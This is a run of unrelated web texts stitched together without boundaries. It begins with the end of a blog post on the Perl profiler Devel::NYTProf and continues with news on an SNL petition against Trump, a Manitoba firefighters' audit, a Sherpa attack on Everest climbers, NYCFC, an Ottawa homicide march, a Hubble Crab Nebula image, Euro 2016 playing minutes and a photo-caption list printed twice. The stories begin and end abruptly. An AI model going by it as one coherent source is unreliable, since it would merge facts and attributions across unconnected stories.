See? It’s easy! nytprofhtml is an implementation of the included reporting interface (Devel::NYTProf::Reader). If you don’t want HTML reports, you can implement your own format with relative ease. If you create something cool, be sure to let me know via CPAN patch request or open@nytimes.com. Detailed instructions can be found in the documentation and source code on CPAN.
You can see sample screen shots of the html report’s index pageand a single module report.
Similar tools exist to profile Perl code. Devel::DProf is the ubiquitous profiler, but it only collects information about subroutine calls. Because of this limitation, its not all that helpful in finding that elusive broken regex in a 75-line subroutine of regex transforms. Devel::FastProf is another per-line profiler, however I found its output difficult to coerce into HTML. It also doesn’t support non-Linux systems (we need at least Solaris and Ubuntu/Linux support).
Devel::NYTProf is available as a distribution on the CPAN. You may install by typing “install Devel::NYTProf” in the ‘cpan’ command-line application, or manually by downloading the tarball from CPAN.
NBC is facing an intense backlash as more than 18,000 Americans have signed a petition demanding that the network dump Donald Trump as the host of the November 7 episode of Saturday Night Live.
The petition states:
By inviting Donald Trump to host Saturday Night Live, NBC is demonstrating that it doesn’t care about its Latino and pro-immigrant viewers. It is providing a platform for Trump’s insulting attacks on immigrants and calling it entertainment — something we do not find funny.
It is shameful for NBC to allow Donald Trump to host Saturday Night Live, a comedy show, when one of the main policies he has promised would rip apart millions of immigrant and Latino families.
NBC cannot bill hateful rhetoric as comedy, much less entertainment.
Juan Escalante, Digital Campaigns Manager at America’s Voice said, “After early support for the immigrant community, NBC is showing their true colors here. Donald Trump is running one of the most hateful and offensive campaigns in recent history and the fact that the network has decided to give him a megaphone is shameful and disappointing. This is a stark departure from the ‘dignity and respect’ they demanded from Trump in June and a slap in the face for the Latino and immigrant community.”
Added Alejandro Chavez, MoveOn National Field Campaign Organizer, “It is appalling to see NBC and ‘Saturday Night Live’ give essentially free campaign ad time to a candidate intent on spewing anti-immigrant hate. We are proud to stand with our allies at America’s Voice and our Latino and immigrant, documented and undocumented, brother and sister, and demand that NBC does the right thing, again, and dumps Trump — this time for good.”
It is ridiculous that NBC thinks that they can “cut ties” with Trump, and then bring him back for a shameless ratings grab on Saturday Night Live. Allowing a presidential candidate to host the show comes close to the line of violating campaign finance laws. If SNL has given Hillary Clinton a hosting slot, instead of a skit, Republicans would be demanding equal time.
NBC and SNL are going to allow Trump to deliver what amounts to a campaign ad wrapped around some comedy. Trump is running an entire presidential campaign that is centered around racism and hate. Both NBC and SNL are putting a cash grab ahead of doing the right thing.
You can tell NBC to dump Trump by signing the petition here.
According to a statement posted tonight by Aboriginal and Northern Development Affairs minister, Bernard Valcourt, the Manitoba Association of Native Firefighters is in default of their agreement and "has not proven they can competently deliver the services Manitoba First Nations deserve."
It states funds will be withdrawn "immediately" and that the organization has been told the agreement will not be renewed.
Evacuees still out of their homes from the 2011 flood were transferred to the Red Cross earlier this year.
However, MANFF still managed short-term evacuations, training and equipment for fire departments on Manitoba First Nations reserves.
Valcourt calls on the provincial government to sign an agreement with his government so that "together we can ensure First Nations receive the support they deserve."
Its not clear how much MANFF receives in federal funding and no one from the department was available to comment.
Audit summary
The statement is accompanied by a summary of a KPMG audit ordered by the government in 2013 after allegations of misappropriation of funds surfaced.
The summary states that despite more than $90 million advanced to MANFF in just over two years, the organization did not produce financial records or bank reconciliations.
It also says that a full accounting of the organization was not available at the time of the forensic audit.
MANFF's CEO and CFO are cited in the investigation as "not demonstrating leadership" when the short-term evacuation turned into a long term situation.
Management had little consideration for "value for money" when Mona Lisa Ristorante was paid more than a million dollars for "night time snacks."
The report also states that $1,000 bonuses were given to a "few employees for unknown reasons."
One employee was paid approximately $42,000 in overtime for 2011-2013 and "supporting evidence for some overtime claims is incomplete."
It also says that a number of transactions are missing.
The report also found more than $61,000 in Canad Inns loyalty points that were accumulated for hotel rooms housing evacuees were given to MANFF board members.
Melissa Arnot, 29, is credited as the hero mountain guide who negotiated three hikers to safety as fight broke out on world's highest mountain
Hikers from Great Britain, Switzerland and Italy say they were stoned and punched amid death threats from more than 100 Nepalese Sherpas
Sherpas accused hikers of improper hiking etiquette on Mt Everest
Investigation now underway by the Nepalese authorities
As more than 100 enraged Sherpas allegedly threw stones and death threats at three foreign hikers atop the world's tallest mountain it was a petite American woman who's credited for breaking up the fight through discussion and hand holding alone.
Melissa Arnot, a professional mountain guide from Idaho holding the women's world record for number of Mt Everest summits, has revealed passive discussion as preventing the dramatic violence from turning deadly.
'I wasn't trying to be heroic,' Mrs Arnot, 29, recounted to ABC News of her selfless effort after stepping between the scores of angry men on Saturday . 'But I do think my presence prevented some violence.'
Hero: Melissa Arnot, a professional mountain guide holding the women's world record for number of Mt Everest summits, is the American woman credited for breaking up a violent fight on top of the world's highest mountain
Peace maker: Arnot is said to have jumped between the escalating fight of three foreign hikers and nearly 100 angry Sherpas accusing them of improper hiking etiquette
Mrs Arnot had worked on the mountain for the past six years when the fight broke out between the climbers from Italy, Switzerland and Great Britain and the Nepalese Sherpas at approximately 23,000ft up the 29,000ft mountain.
Mrs Arnot frantically positioned herself between both sides of the fight, having known some of the angry Sherpa guides herself, and even went so far as 'holding the hands of another Sherpa,' hoping to calm them down, she said.
'I felt like it was much less likely that they would hit me actually or hit me with a rock just being a woman,' she said.
The Sherpas accused the foreign hikers of kicking ice down on them and breaking mountain etiquette by stepping over their ropes, leading to the violence confrontation.
‘We all suffered cuts and bruises and Ueli took a stone to his face,' British climber and photographer Jonathan Griffith, 29, recounted of the injuries particularly sustained by fellow hiker Ueli Steck, 36, from Switzerland.
Targets: Ueli Steck, left, Jonathan Griffith (centre) and Simone Moro say they were attacked by a 'mob' of sherpas 'Brawl': British Alpine photographer Jonathan Griffith (right) was accompanying Swiss climber Ueli Steck (left) and Italian Simone Moro to document their Everest ascent 'Fierce': The row erupted as the British photographer and his two fellow climbers made their way from Camp 2 to a tent higher up the mountain on Saturday
READ MELISSA ARNOT'S FULL STATEMENT HERE:
'I cannot recount the events of this past week on Everest, nor do I want to. I understand that people want to hear the story and know the details, but, honestly, the details are sad and they are in the past. They cannot be changed. Everyone will have their version of what happened and why it happened. I, too, have my own version.
'I came here to climb Mt. Everest. I came here for the challenge, adventure and type of friendship that has become a mark of this place for me. On this expedition, I have had some of the best times of my life, laughing into the late hours with friends who were supporting each other’s goals. I have had some of the worst times — standing in front of those same friends to protect them from unexplainable violence and anger. Something shifted the balance for a moment. My only hope is that it shifts back quickly, and everyone can resume their jobs, their passion and their goal of climbing.
'I am resting now, both my body and my mind, in hopes that I can resume the reason I came here. I am thankful for the good moments that have occurred this year. I am sad for the events of the last week. I am hopeful that the adventure ahead will be one of collaboration, support and rebuilding the relationship of trust between everyone who has chosen to be here.'
'The Sherpas were upset with the foreign climbers for trying to continue to climb' while the Sherpas worked on fixing safety ropes, Mrs Arnot said. 'Instead of conversation, the idea of violence was resorted to, and I think that is where the tragedy of this whole event comes down to.'
Mrs Arnot, who has climbed to Mt Everest's summit four times, negotiated with the three climbers and Sherpas for nearly 45 minutes while admitting to her part in 'talking them off the edge of all this anger.'
Before both parties separated they signed a contract agreeing to never resort to violence on the mountain again.
Perhaps arguing that agreement, in a statement on his website Simone Moro of Italy claims that his group was told 'if they weren't gone in one hour that they would all be killed.'
'We were told one of us would die that night and the rest would follow later.’ Mr Griffith also said.
'I think the foreign climbers made the mistakes and the Sherpas made some mistakes in communications,' Mrs Arnot acknowledged, 'but at the end of the day violence is completely unacceptable in any scenario, especially when you are very high on a mountain.'
Responding to the horrific event on her website on Tuesday, Mrs Arnot writes that she will not recount in detail what happened on Mt Everest but that she is 'sad for the events of the last week.'
'Something shifted the balance for a moment. My only hope is that it shifts back quickly, and everyone can resume their jobs, their passion and their goal of climbing,' she writes.
Negotiations: Ms Arnot negotiated with the three climbers and the Sherpas for nearly 45 minutes before the three men were allowed to escape down the mountain
Awakened: Ms Arnot has worked on the mountain for the last six years and hopes that the recent tensions will settle to how they were with both sides remembering and respecting what it is they ultimately come to the mountain for
Immediately after the attack Griffith singled out the bravery of Mrs Arnot, whom he said stood guard over another tent while the three climbers managed to get to some 50 yards away.
‘For a Sherpa to hit a woman is really bad and Melissa saved our lives,’ he said.
Experienced: Swiss mountaineer Ueli Steck is understood to have scaled many of the world's most treacherous peaks
The three men ended up running for their lives down a treacherous glacier to escape the ‘out-of-control mob’ and have now been forced to abandon their attempt on the summit.
The hike was Mr Griffith's first attempted ascent of Everest when during their return to camp they were immediately set upon.
‘It was very scary. As climbers we all get into very dangerous situations but this was the first time I really thought this was the end,' he said.
He said they had initially ignored advice by other Western climbers to ‘just run now’ as the mob headed for their tent.
‘We thought we could discuss the situation and sort it out,’ he said.
‘Sherpas are not angry people but they are easily rallied and three or four ringleaders were to blame.’
He said the crowd attacked in small groups, moving in and throwing rocks before retreating.
‘We couldn’t lash back because the mob would have gone for us then. We honestly felt we were going to die.’
Mr Griffith additionally credited other Western climbers who acted as a buffer and put themselves in front of the three men.
As tempers began to calm slightly it became clear the men would have to escape and retreat to base camp immediately.
Simone Moro: The Italian climber, who has climbed Everest four times, is understood to have been attempting to reach the summit by a new route without supplementary oxygen
'Mass attack': A statement released by the climbers said they believed the incident was an uprising against the way Nepalis feel treated by westerners on Everest (file photo)
They packed up what equipment they could and, to avoid further attacks from the Sherpas, set off on an ‘unbelievably treacherous route’ across a glacier, going as fast as possible without even using a rope for safety.
The men did what is usually a full day’s walk in two-and-a-half hours.
Mr Griffith said last night from base camp that he was preparing to return to Chamonix in France, where he lives.
Although climbing Everest was once the ultimate human challenge, these days hundreds of people pay tens of thousands of pounds to make the ascent every year. The small army of Sherpas are used to help them and carry supplies.
'Terrifying': British mountaineering photographer Jonathan Griffith is reported to have been accompanying Steck and Moro on the ascent
It is the ‘clash of cultures’ and ‘ill feeling’ towards the foreigners that is being blamed for the unprecedented attack.
Foreign climbers pay royalties to scale Everest and Nepalese government officials were quick to play down the seriousness of the incident for fear of losing vital income.
Tourism ministry official Dipendra Paudel said there had been a ‘slight misunderstanding’ which had been sorted out and pledged to ensure the safety of climbers.
An investigation is now underway by the Nepalese authorities.
'At the moment the 3 ring leaders have been taken off the mountain and the Police, Ministry of Tourism and the head of the Sherpa Association are investigating,' Mr Moro's team reports on their website.
MANCHESTER, England -- A couple of days after the deal for New York City FC was announced in May 2013, I was at the Manchester City team hotel in New York, on the eve of their Yankee Stadium exhibition game vs. Chelsea.
As various club officials milled around the lobby, I heard the familiar buzz of Mancunian accents, idioms and references that still, rather charmingly, hover around City, no matter how international and monied their current incarnation has become.
Given my history with both cities (14 years in Manchester followed by 12 in New York), it was a little uncanny to experience that presence of one familiarity alongside another, let alone now imagining a joint project between the two, but knowing the working culture and self-perception of both it was fun to immediately start speculating on how the two would end up playing together.
If Manchester has a civic tone, it's one that's part absurd self-aggrandizement and part insecurity ("This is the greatest city in the world -- don't you think?"), while if New York has one, it's brusque indifference to everywhere else.
Add in the Catalan-inflected, United Arab Emirates-funded City Football Group project to drive the conversation and I was intrigued to see how all the parties could work together in the context of football, where the market is driven in part by the ability to mobilize proudly parochial forces.
Less than two years after the club was formed, NYCFC will make its Major League Soccer debut vs. Orlando City on March 8.
What I also decided that first night in New York was that, at the right time in the project's development, I wanted to go back to Manchester to see what place New York soccer was going to occupy in the strategic home of the City Football Group.
It took a while to get there; months, in fact, a time during which the prospects for a five-boroughs stadium fizzled then dwindled to an uncertain status. Time when sporting director Claudio Reyna became NYCFC's employee No. 1, Jason Kreis became coach No. 1 and David Villa became the club's designated player No. 1 -- setting a streak for positive signings that took a hit with the Frank Lampard affair, before edging back on course with the signing of Mix Diskerud.
When it became apparent that NYCFC would be playing their first-ever preseason games in Manchester earlier this month and training at the recently completed City Football Academy, I jumped at the chance to see just how distinct the New York club could be during their time in the gravitational pull of the mothership.
During my time there I sat down with both Reyna and Kreis, toured the academy facilities, watched training sessions and community events, spoke with players and, of course, saw the team in action. In some ways it left a lot of questions still unanswered about the future of NYCFC, though it was gratifying to see a distinctly Kreis-style team taking shape, bringing into focus how the New York venture fits in with the long-term ambitions of the City Football Group.
Far beyond Chivas
The disastrous specter of Chivas USA has not been far from most MLS observers' criticisms of the new team, to the irritation of the CFG. While some of the wholesale projection onto NYC from that ill-fated project has been crude and unhelpful, in fairness, as the nearest comparable venture, it's at least understandable why people reach for the example.
In his own book, "Goal: The Ball Doesn't Go In By Chance," City chief executive and CFG architect Ferran Soriano cites the Chivas USA example while musing about the global club franchise concept he originally envisaged for Barcelona.
And while NYCFC was in its long gestation, the distinctions between the Chivas model and the New York City one at times appeared to be semantic ones rather than significant conceptual differences. The apparent pulling of rank over Lampard, who will spend the entire Premier League season -- not just its first half -- with Manchester City, really didn't help the impression of a Chivas-style hierarchy, either.
But I came away from Manchester feeling as if there was an important difference, and that the distinct value and support CFG are offering New York City as an entity competing in its own sporting context and market (while drawing on central resources), is very different from Chivas USA as a kind of crudely pixelated avatar of the Mexican parent club.
If Chivas USA was an attempt at growth via an ironic version of colonialism, NYC is part of a more corporate model of future-proofing by a group anticipating the future development of the sport around the world. It might not appear to fit the 19th-century local sporting romantic model that most fans understand and gravitate toward, but in building a model of efficiently operating in multiple territories that experience uneven rates and styles of development, the value CFG place on New York City is genuine.
It's just not sentimental.
Manchester City's lavish training complex provided the facilities as NYCFC prepared for the upcoming MLS season.
Making sense of the City project
There was a moment, at a routine training session between NYC's two games in Manchester, where something about Soriano's vision clicked for me. It was as the New York players were scrimmaging in the middle field of three similar pitches, as I watched from a path running round the perimeter of the fields.
It was one of those damp Manchester days when the cold gets into your bones and you feel like you'll never be warm again. I'd just contemplated retreating to the giant indoor field where local kids were gathering for a personal appearance by Villa later that morning, when a stray ball looped over the bar of the goal in front of me and slid to a halt near my feet.
Seeing it up close, it was an MLS match ball, discreetly emblazoned with the new league logo and less discreetly covered in Manchester mud. I briefly smiled at that juxtaposition, jolting me out of the generic experience of watching players train and into a very specific reminder that this was a very particular team training in a very particular place. I flashed back to that first evening in SoHo, when Manchester announced its intentions in New York.
Then I looked up and over to my right where the Manchester City women's team were warming up for practice on an adjacent field. To my left, Patrick Vieira's Elite Development Squad players had just finished their own session, and several of them were now sprawled near the corner of the New York field, watching their session with open curiosity. Beyond the field they'd just vacated, a new CFG college building was being worked on. Beyond that squatted the familiar post-industrial skyline of Manchester.
Beside me, somebody poked the loose ball back toward the training session. Having done so, Claudio Reyna, who'd arrived quietly on the scene from a seemingly endless round of meetings in the admin block, stepped back onto the path and we exchanged a few polite words. Then he turned to politely explain how the USL partnership works to a bemused City media crew member who'd also walked down to catch New York's training session, and who was now enthusing about the performance in a friendly vs. St Mirren.
I stepped away to give them space, just as Ferran Soriano made an appearance behind us, striding over the mud in expensive shoes, to cordially greet Kreis during a break in the session. After he left, two figures could be seen drifting toward the corner of the field nearest the City first-team practice pitches, where training had just finished.
Manchester City manager Manuel Pellegrini and his assistant Brian Kidd started watching intently, in that manner footballing people have of not being able to help themselves from watching when a ball's being kicked around. After a few minutes Pellegrini edged further forward, arms folded, to watch the final scrimmage game of the NYC session alone.
And I think that was the moment when NYC's position within the City Football Group began to make sense to me, when it was almost literally mimed out in front of me. I'd just been on a guided tour of the completed parts of the Etihad complex and had been thinking about how the syntax of the site was so perfectly geared toward football, football, football.
Everything about the Academy and grounds is shaped around movement toward the field, whether in the progression of adjacent fitness rooms, or just the sight lines toward the fields that govern the shape and physical relationships of everything in the complex. As one City staff member remarked to me, even the accountants look out of a window onto a playing field for a constant reminder of why they are there.
The overall feel put me in mind of an executive airport lounge, in that everything's made to ease transitions comfortably. Yes, there's no expense spared, but the blond woods and glass and leather chairs -- even the giant wall-sized poster of Sergio Aguero emblazoned with his 2012 Premier League title-winning goal time, "93:20," that dominates the main fitness gym -- are ultimately not about a visual effect but a productive effect.
The next room always beckons, and ultimately the pitch, which itself may not be the ultimate destination. The under-18s field is in view of the under-21s field and so on and, ultimately, the 5,000-seater main training stadium where NYC play their games sits with a view across the road to the Etihad Stadium itself.
And within that construction of carefully directed movement, New York City FC were occupying a space on their own terms, discreet but integrated. The witnessing of their session by other moving parts of the City machine felt like a pretty organic function of how the complex was set up, and from there it wasn't too hard to make the leap to also seeing it as a function of how the vision of CFG is set up to accommodate NYC in their embryonic stage.
And beyond that, the physical and ideological infrastructure of the group is geared towards accommodating and supporting growth, whatever quarter it comes from. In short, it's fair to say that in terms of ambition and vision, Chivas USA it ain't.
Villa and his new teammates played twice while in Manchester, beating St Mirren and losing to Brondby.
Convincing the players
It became obvious during my stay that the players and staff, beyond Kreis and Reyna, were also forming a clearer vision of where they fitted in the overall scheme of things, and that that sense of their own genuine value to the project was a crucial takeaway from this phase of the club's early life.
Whenever I spoke to players or staff, all would at one point separately allude to their opening night at the academy. Soriano brought them into a lecture theater and addressed them all about their importance, how they were their own entity but part of the City family, and the academy being theirs to use whenever they wanted.
After the Brondby game, Ned Grabavoy, a veteran of Kreis' time at RSL and along for the latest adventure, acknowledged that even among the players there'd been a degree of "misunderstanding ... knowing that we were an MLS team and at the same time we were different," while talking about the importance of that first impression from Soriano: "coming here and sitting down ... from the very beginning, they kind of made it known what we were and what City Football Group was, and so ... we're our own team without question."
Or as Kreis put it: "I was so very happy that he [Soriano] did that, because I can say that as much as I want, but when the boss stands up and presents that to everybody, it's a completely different message."
Not everything translated smoothly, of course. The game announcer at the Brondby game mangled the pronunciation of "Kreis," and the would-be ingratiating move of the mini-stadium PA system playing "Born in the USA" and "Empire State of Mind" before the teams came out; both clunky if well-intentioned moments that suggest certain trans-Atlantic differences will continue to assert themselves while different parts of the project familiarize themselves with each other's cultural and sporting dialects. But at least the family dynamic seemed clearer, and perhaps within that, the occasional lapse of tone from a relative is understandable.
Going back to that key moment, watching an engrossed Kreis put his team through their paces on that Manchester training field, shaping the updated version of his beloved possession game under the gaze of bosses and foreign colleagues alike, it was possible to believe that NYCFC are their "own team" already -- in Manchester, at least.
Now to convince New York.
Mr. Wang said many Chinese people relate to their animal familiars assigned by the Chinese zodiac and “in Chinese proverbs, animals are always used for admiration and compliment.”
Once it was brought to his attention, Mr. Wang said, that “putting the photos of African tribespeople and animals together hurt the feelings of the African tribespeople,” and to “show respect for our African friends’ opinions,” the offending pictures were removed.
On social media, the exhibit received mixed reviews. Edward E. Duke, a Nigerian Instagram user, posted video of the exhibit, which was first published by the website Shanghaiist. The museum, he wrote in a post that was later removed, “put pictures of a particular race next to wild animals why?”
A Chinese user of Weibo, a popular blogging platform, said she was blown away by the photos in that section.
In a country where football is not a favourite game and the national team is far away from making into FIFA World Cup, this is an extra ordinary achievement from poor street kids.
This is the first time Pakistan are participating in the SCWC 2014.
In Pakistan, the SCWC is collaborating with the Azad Foundation along with British Council and Unicef.
The Street Child World Cup in association with Save the Children is a global movement for street children to receive the protection and opportunities that all children are entitled to.
The east Ottawa street has been home to three homicides in less than a year.
"We're not going to tolerate a bunch of criminals coming into our neighbourhood and shooting and stabbing and killing people. It's not acceptable," Ottawa Mayor Jim Watson told the crowd.
The parents of the most recent shooting victim on Jasmine Crescent, Nooredin Hassan, said they've been overwhelmed by the support, but continue to search for answers.
Miryam Hassan and Abdulle Sharif's son Nooredin Hassan was killed on Jasmine Crescent last month. (CBC) "We need justice. We need the police of Canada. They don't say 'Oh he's Somalian, kid dies.' It's not Somalian kids. He [was] born in Canada," said Hassan's mother, Miryam Hassan.
Residents marched the length of the street ending at Gloucester High School, where Hassan had attended.
His mother sobbed at the idea of going inside.
'Trying to find a solution'
Police have not made any arrests in the case. Still, Hassan's father Abdulle Sharif says he is encouraged by the turn out.
"This is very important for us. At least we have a voice today. We have another voice," he said.
Many of the marchers have a connection with one or more of the three young men who died over the last year.
Issaiah Clachar, 17, died after being stabbed several times outside the highrise apartment building at 2000 Jasmine Cr., in September of last year. Another man was also seriously injured but survived.
Connor Stevenson, 18, was stabbed to death in the stairwell of the neighbouring highrise a 2020 Jasmine Cres., in April 2015. David Dubois, 19, was charged with second-degree murder in Stevenson's death.
Stevenson played rugby at Gloucester High School, and some of his teammates marched in his honour on Sunday.
Curtis Maurich said the march was way to help everyone grieve, and try to move forward.
In his final week in the job, Oakes pulled no punches in his assessment of today’s politics in Canberra, taking Foreign Minister Julie Bishop to task for questioning the trust of our closest ally in New Zealand.
“What we’ve got here is yet another Australian MP, this one happens to be the deputy prime minister, falling foul of the constitution because he’s too dopey to check his citizenship status,” Mr Oakes said.
Malcolm Turnbull and Bill Shorten have traded verbal barbs over Barnaby Joyce's citizenship status. (AAP) ()
“The New Zealand internal affairs minister says firmly it was Australian media queries that caused him to investigate and to conclude that Barnaby Joyce was Kiwi.”
Mr Oakes went on to say the Turnbull government, with its one-seat majority threatened, “needed a smokescreen” so it latched on to a question asked by a New Zealand Labor MP in their parliament.
“Malcolm Turnbull calls it a conspiracy, there are laughable claims about a foreign power interfering in Australian politics as though this is on par with Vladimir Putin’s hackers helping Donald Trump,” Mr Oakes said.
“Julie Bishop says she’ll find it hard to trust or work with the New Zealand government if Labour wins the forthcoming election there.
“Sure it wasn’t smart for someone in Australian Labor to involve someone across the Tasman in our domestic politics, but that’s nothing compared with our foreign minister suggesting the Australian New Zealand relationship is threatened.
“Talk about irresponsible.”
A detailed image of the core of the famous Crab Nebula, captured by NASA's Hubble Space Telescope, reveals the "beating heart" that, with every pulse, breathes life into the expanding cloud of gas and debris surrounding it.
Located 6,500 light-years from Earth in the constellation Taurus (The Bull), the Crab Nebula formed via a supernova explosion — the death of a massive star.
At the center of the Crab Nebula is what's left of that dead behemoth — a superdense neutron star that spins at a rate of 30 times per second, spewing beams of radiation and particles into the cloud of gas and debris that surrounds it.
Although this neutron star contains roughly the same mass as our sun, it's extremely small and dense, with a diameter that's just a few miles across. Such fast-spinning neutron stars are called pulsars: as they rotate and radiate, they look as though they're pulsating from our perspective here on Earth, much like actual "beating hearts."
The Crab Nebula is one of the most studied and photographed objects in space. While many images of the Crab Nebula highlight the colorful filaments visible in the feature's outer regions, the latest Hubble images show the inner workings of the nebula, according to a statement from the European Space Agency.
In the newly released photo, the neutron star is the righthand of the two bright stars that are seen near the center. Swirling bright-red filaments of gas are expanding outward from the two bright spheres, traveling at half the speed of light.
"The neutron star is a showcase for extreme physical processes and unimaginable cosmic violence," NASA officials said in the statement. "It is thought that these wisps originate from a shock wave that turns the high-speed wind from the neutron star into extremely energetic particles."
The new Hubble photo of the Crab Nebula is actually a composite of multiple images that were taken over a period of 10 years to illustrate the spinning movement of the neutron star.
Italian police say they have broken a prostitution ring which trafficked transsexual people from Latin America into the country.
Police said they arrested 28 suspected members of the prostitution ring, 24 of whom are already in prison.
The group was made up of Italians and Brazilians who were recruited from shanty towns in Brazil and other Latin American states.
Arrests took place in three Italian regions - Lazio, Campania and Umbria.
The transsexual targets were sent airline tickets for flights from Rio de Janeiro to Madrid, Zurich, Paris, Budapest or Bucharest, from where they would be sent on to Italy, reports said.
Tottenham players racked up more minutes at Euro 2016 than any other Premier League club.
The English top flight was by far the most heavily-represented domestic division at the tournament, with 106 of the 552 players who travelled to France currently plying their trade there.
And a survey found that Mauricio Pochettino's Spurs bore the brunt of that. Tottenham players clocked up a total of 3,544 minutes, over 900 more than the side with the second-most minutes played - north London rivals Arsenal.
Eleven Tottenham players saw action at Euro 2016 with nine named in at least three starting line-ups in a total of 38 starts overall, meaning Pochettino may need to rotate carefully with a Champions League campaign to negotiate as well as domestic competition.
Six Arsenal players racked up a combined 28 starts and 2,625 minutes of playing time. Manchester City had the same number of starters as Arsenal but accumulated a slightly lower 2,499 minutes on the pitch.
Liverpool were the only club to match Tottenham in having 11 different players feature at the tournament but the Reds' representatives clocked up a much lower 1,774 minutes between them and only had two players - Joe Allen and Martin Skrtel - who started more than three matches.
Allen, who started all six matches in Wales' incredible run to the semi-finals, probably did not expect to be Liverpool's busiest player and his former team-mates at Swansea were also far more involved than anticipated.
The historic Welsh showing also saw Swans duo Ashley Williams and Neil Taylor feature in every starting XI, while their two team-mates - Iceland's Gylfi Sigurdsson and Poland's Lukasz Fabianski - were involved until the quarter-final stage.
As a quartet they made 21 appearances and played for 2,042 minutes: more than their peers at Liverpool, Manchester United or Chelsea. However with Swansea having looked shaky last season and lacking the squad depth of the aforementioned trio, their fans will surely be hoping that the summer's achievements will not be to the detriment of their next domestic campaign.
Portugal vs France: Euro 2016 final in pictures 50 show all Portugal vs France: Euro 2016 final in pictures 1/50 Joy for Cristiano Ronaldo and Portugal. Getty Images 2/50 An emotional night for Cristiano Ronaldo ends on a high note. Getty Images 3/50 Portugal celebrate their win. Getty Images 4/50 Sealed with a kiss. Getty Images 5/50 What a night for Portugal! Getty Images 6/50 Portugal are Euro 2016 champions! Getty Images 7/50 It wasn't pretty, but Portugal won the final through hard work. Getty Images 8/50 Dejection for France. Getty Images 9/50 Andre-Pierre Gignac can't hold back the tears. Getty Images 10/50 Portugal had what it took in extra-time. Getty Images 11/50 Adrien Silva and Renato Sanches celebrate at full-time. Getty Images 12/50 Cristiano Ronaldo and Fernando Santos celebrate as Portugal win Euro 2016. Getty Images 13/50 Desperate disappointment for France in a final they dominated. Getty Images 14/50 Joy for Eder and despair for Antoine Griezmann. Getty Images 15/50 Eder puts Portugal ahead. Getty Images 16/50 Joy for Portugal with Eder's late goal. Getty Images 17/50 Eder puts Portugal ahead in extra-time. Getty Images 18/50 Eder was the main man for Portugal. Getty Images 19/50 Paris watches on as Cristiano Ronaldo departs injured. AFP/Getty Images 20/50 Cristiano Ronaldo leads the team talk before extra-time. Getty Images 21/50 The many faces of Mark Clattenburg. Getty Images 22/50 Andre-Pierre Gignac knows how close he came to becoming France's Euro 2016 hero. Getty Images 23/50 Andre-Pierre Gignac hits the post for France in injury time. Getty Images 24/50 Rui Patricio was in inspired form for Portugal. Getty Images 25/50 Antoine Griezmann reacts as he heads over an easy chance. Getty Images 26/50 It's all over for Cristiano Ronaldo. Alex Livesey/Getty Images 27/50 Getty Images 28/50 Dimitri Payet was the man to take out Ronaldo. Getty Images 29/50 Getty Images 30/50 Antoine Griezmann fires an early shot wide. Getty Images 31/50 Cristiano Ronaldo is left on the floor by Dimitri Payet. Getty Images 32/50 Dimitri Payet chases Nani early on. Getty Images 33/50 Stunning scenes at Stade de France. Getty Images 34/50 What an occasion. Getty Images 35/50 French fans in fine voice. Getty Images 36/50 Not quite replica size... Getty Images 37/50 One French fan leads his compatriots in song. Getty Images 38/50 Eyes on the prize. Getty Images 39/50 Not even Cristiano Ronaldo can escape the attention of the Euro 2016 final moths... Getty Images 40/50 Fans of both teams come together before kick-off. Getty Images 41/50 The scene is set at Stade de France. Getty Images 42/50 Who are you supporting? Getty Images 43/50 Didier Deschamps escapes the attentions of a few moths. Getty Images 44/50 A member of the ground staff clears moths from the advertising boards. Michael Regan/Getty Images 45/50 The Portuguese superfan is back! Getty Images 46/50 That's one way to calm the pre-match nerves! Getty Images 47/50 The sun was out in Saint-Denis. Getty Images 48/50 Portugal fans enjoying the pre-match build-up. Getty Images 49/50 French passion on display. Getty Images 50/50 Didier Deschamps looking calm before the storm. Getty Images 1/50 Joy for Cristiano Ronaldo and Portugal. Getty Images 2/50 An emotional night for Cristiano Ronaldo ends on a high note. Getty Images 3/50 Portugal celebrate their win. Getty Images 4/50 Sealed with a kiss. Getty Images 5/50 What a night for Portugal! Getty Images 6/50 Portugal are Euro 2016 champions! Getty Images 7/50 It wasn't pretty, but Portugal won the final through hard work. Getty Images 8/50 Dejection for France. Getty Images 9/50 Andre-Pierre Gignac can't hold back the tears. Getty Images 10/50 Portugal had what it took in extra-time. Getty Images 11/50 Adrien Silva and Renato Sanches celebrate at full-time. Getty Images 12/50 Cristiano Ronaldo and Fernando Santos celebrate as Portugal win Euro 2016. Getty Images 13/50 Desperate disappointment for France in a final they dominated. Getty Images 14/50 Joy for Eder and despair for Antoine Griezmann. Getty Images 15/50 Eder puts Portugal ahead. Getty Images 16/50 Joy for Portugal with Eder's late goal. Getty Images 17/50 Eder puts Portugal ahead in extra-time. Getty Images 18/50 Eder was the main man for Portugal. Getty Images 19/50 Paris watches on as Cristiano Ronaldo departs injured. AFP/Getty Images 20/50 Cristiano Ronaldo leads the team talk before extra-time. Getty Images 21/50 The many faces of Mark Clattenburg. Getty Images 22/50 Andre-Pierre Gignac knows how close he came to becoming France's Euro 2016 hero. Getty Images 23/50 Andre-Pierre Gignac hits the post for France in injury time. Getty Images 24/50 Rui Patricio was in inspired form for Portugal. Getty Images 25/50 Antoine Griezmann reacts as he heads over an easy chance. Getty Images 26/50 It's all over for Cristiano Ronaldo. Alex Livesey/Getty Images 27/50 Getty Images 28/50 Dimitri Payet was the man to take out Ronaldo. Getty Images 29/50 Getty Images 30/50 Antoine Griezmann fires an early shot wide. Getty Images 31/50 Cristiano Ronaldo is left on the floor by Dimitri Payet. Getty Images 32/50 Dimitri Payet chases Nani early on. Getty Images 33/50 Stunning scenes at Stade de France. Getty Images 34/50 What an occasion. Getty Images 35/50 French fans in fine voice. Getty Images 36/50 Not quite replica size... Getty Images 37/50 One French fan leads his compatriots in song. Getty Images 38/50 Eyes on the prize. Getty Images 39/50 Not even Cristiano Ronaldo can escape the attention of the Euro 2016 final moths... Getty Images 40/50 Fans of both teams come together before kick-off. Getty Images 41/50 The scene is set at Stade de France. Getty Images 42/50 Who are you supporting? Getty Images 43/50 Didier Deschamps escapes the attentions of a few moths. Getty Images 44/50 A member of the ground staff clears moths from the advertising boards. Michael Regan/Getty Images 45/50 The Portuguese superfan is back! Getty Images 46/50 That's one way to calm the pre-match nerves! Getty Images 47/50 The sun was out in Saint-Denis. Getty Images 48/50 Portugal fans enjoying the pre-match build-up. Getty Images 49/50 French passion on display. Getty Images 50/50 Didier Deschamps looking calm before the storm. Getty Images
For all the extra care that the Premier League's various medical departments will be taking to ensure that their stars are ready for another intense season, they should spare a thought for their peers at Juventus.
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Two Manchester City stars have been caught up in violent scenes which saw a politically-charged international match abandoned.
